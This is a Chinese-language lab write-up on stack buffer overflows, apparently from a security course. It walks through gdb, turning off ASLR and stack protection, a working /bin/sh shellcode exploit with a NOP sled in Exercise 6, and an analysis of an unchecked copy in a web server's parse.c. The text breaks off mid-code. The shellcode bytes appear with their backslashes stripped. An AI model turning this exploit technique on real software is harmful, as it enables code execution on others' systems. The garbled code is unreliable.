本实验是关于缓冲区溢出的原理以及如何利用缓冲区溢出漏洞进行攻击,分为以下十个练习:
Part A:buffer overflow principal
- Exercise1:output 3 addresses
- Exercise2:use gdb
- Exercise3:turn off ASLR and output addresses again
- Exercise4:print value of %eip when program crashes
- Exercise5:about function badman
- Exercise6:attack stack2.c with shellcode offered
Part B:buffer overflows in the touchstone web server
- Exercise7:find vulnerability in server's code
- Exercise8:crash the web server
- Exercise9:delete file in the server's directory with shellcode
Part C:fixing buffer overflow
- Exercise10:fix the buffer overflow vulnerabilities
在计算机中,通常使用如下图所示的栈数据结构来控制函数的调用(call)和返回(ret),可以看到我们有一个12字节大小的缓冲区buf,在内存中,缓冲区再往上面依次存放了old-ebp,return address等,对于C语言里众多不执行边界检查的函数,如strcpy,strcat等,使用中很容易造成缓冲区溢出,即old-ebp,retrun address被其它数据覆盖,从而改变程序执行过程。
Exercise 1:
根据如下代码,打印出buffer数组的地址,其中注释部分便是加入的代码,编译并运行程序三次,结果如下图所示,可以看到三次分配给func函数里buffer数组的地址各不相同。
#include <stdlib.h> #include <stdio.h> #include <string.h> void badman() { printf("I am the bad man "); return; } int func(char *str) { int variable_a; char buffer[12]; //printf("%p->%p ",buffer,buffer+11); strcpy(buffer, str); return 1; } int main(int argc, char **argv) { char *buf = "hello "; if(argc > 1){ buf = argv[1]; } func(buf); printf("Returned Properly "); return 1; }
Exercise2:
学习基本的gdb调试指令:
- b用于设置断点,这里在func入口处设置断点,然后r开始运行,可以看到程序会在func入口处停止运行;
- info r用于显示各寄存器的值,对应的可以用i r register显示某个特定寄存器的值,如i r $ebp显示寄存器ebp的值,即当前函数值的栈底指针;
- x/… addr指令用于取addr所存的值,可以指定输出形式,如x/4wx是以x(hex)形式从指定地址往后打印4个w(4字节一组),还有诸如x/bx,x/10i,x/2s等格式;
- disass func显示func函数对应的汇编指令以及指令在内存中的地址;
- 可以用p打印变量信息,如p badman打印badman函数的入口地址;
- set命令可以设置变量,地址等的值。
Exercise3:
关闭ASLR,即地址空间随机化机制:
在终端运行sudo sysctl -w kernel.randomize_va_space=0,将其设为0即可,然后我们再运行三次stack1.c,如下图所示,可以看到buffer的地址是相同的。
Exercise4:
运行stack1.c时输入一串字符串作为其参数,增加字符串长度,使程序缓冲区溢出,用gdb查看溢出时eip寄存器的值。
为了查看缓冲区溢出时eip的值,我们需要关闭栈保护机制,否则缓冲区溢出会被检测到,系统会调用保护函数,此时我们不能看到预期中的eip的值,关闭方法是加-fno-stack-protector参数编译stack1.c
gcc -g -fno-stack-protector -o stack1 stack1.c
用gdb调试stack1,用set args aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa给程序设置参数,然后运行,程序将会出错,此时用i r $eip查看eip寄存器的值,结果如下图所示,程序崩溃是eip的值是0x61616161,即我们的参数覆盖了返回地址。
Exercise5:
如上图所示
- 0xffffd82c即存放return address的内存地址($ebp+4);
- set *0xffffd82c=0x0804842b即把这个内存的值改为badman函数的入口地址,那么当func函数结束执行ret语句时,会执行pop %eip,把这个值存到eip,所以接下去程序会跑到badman函数继续执行;
- badman函数不是经过正常的函数调用而执行的,也就是说没有执行call指令,把return address入栈,当badman函数结束时,会执行ret语句,把栈顶的值给eip,在这里,这个值是0x08048556,是func函数的参数,是程序数据段的一个地址,所以程序出现了段错误。
- 解决方法是在set *0xffffd82c=0x0804842b后加一句set *0xffffd830=08048496,即把本来func函数的返回地址填入badman执行完后将去取值的那个内存,那么当程序从badman返回,会继续执行main函数里剩下的内容。
Exercise6:
在如下stack2.c添加代码,运行后弹出一个shell,其中shellcode已经提供。其中我们仿效Alpha One的做法,把shellcode放在缓冲区的中间部分,前面填充NOP(0x90),后面部分全部放地址,使其能够覆盖return address。
用以下指令编译stack2.c:
gcc -g -z execstack -fno-stack-protector -o stack2 stack2.c
因为我们关闭了栈保护,所以我们可以猜测出func函数的buffer地址在main函数buffer下方140字节,我们便使用这个地址来填充,运行stack2,发现shell成功弹出,说明缓冲区溢出成功。
#include <stdlib.h> #include <stdio.h> #include <string.h> char shellcode[]= "x31xc0" "x50" "x68""//sh" "x68""/bin" "x89xe3" "x50" "x53" "x89xe1" "x99" "xb0x0b" "xcdx80" ; // size = 24 int func(char *str) { char buffer[128]; /* fill code in here: */ strcpy(buffer, str); return 1; } int main(int argc, char**argv) { char buffer[1024]; /* Construct an attack shellcode to pop a shell. * You should put your shellcode into the "buffer" array, and * pass the "buffer" to the function "func". * Your code here: */ int addr = (int)(buffer-140);//关闭栈保护后,这个地址就是func函数buffer数组起始地址,我们不妨直接使用这个地址 int *ptr = (int*)buffer; int i; for(i=0;i<1024;i+=4){ *ptr = addr; ptr++; } char *nop_ptr = buffer; for(i=0;i<128/2;++i) *(nop_ptr++) = 0x90; nop_ptr = buffer+(128/2-strlen(shellcode)/2); for(i=0;i<strlen(shellcode);++i) *(nop_ptr++) = shellcode[i]; func(buffer); printf("Returned Properly "); return 1; }
Exercise7:
阅读server代码,寻找其中的漏洞,尤其注意parse.c。
找到两个漏洞,主要在以下代码中:
服务器是由socket实现的,我们可以把服务器和客户端两端视作两个文件,getChar就是服务器从客户端socket里读取一个字符,getToken是读取一段以空格' '或' '结尾的字符串,其中getToken会调用getChar读取一个字符,然后存到s数组中。这里有两个漏洞:
- getToken函数对' '和' '以外字符直接进行存储,并且都不经过数组边界检查,所以s数组是很容易溢出的,而且当遇到' '时,如果后面没有' ',输入的字符也会被一概存入s;
- s数组溢出之后不仅可以修改return address从而改变程序执行流,而且可以修改参数fd,比如我们可以将其改为0,那么当getToken再调用getChar时,read函数会去标准输入读取字符,这样就可以使服务器端程序停住,而客户端浏览器处于”死等“状态。
char getChar (int fd) { int n; char c; char *info; n = read (fd, &c, 1);//如果fd等于0,将等待标准输入 /*******/
} void getToken (int fd, int sepBySpace) { i = 0; char s[1024]; /*********/ while (1){ switch (c){ case ' ': if (sepBySpace){ if (i){ char *p; int kind; // remember the ' ' ahead = A_SPACE; s[i] = '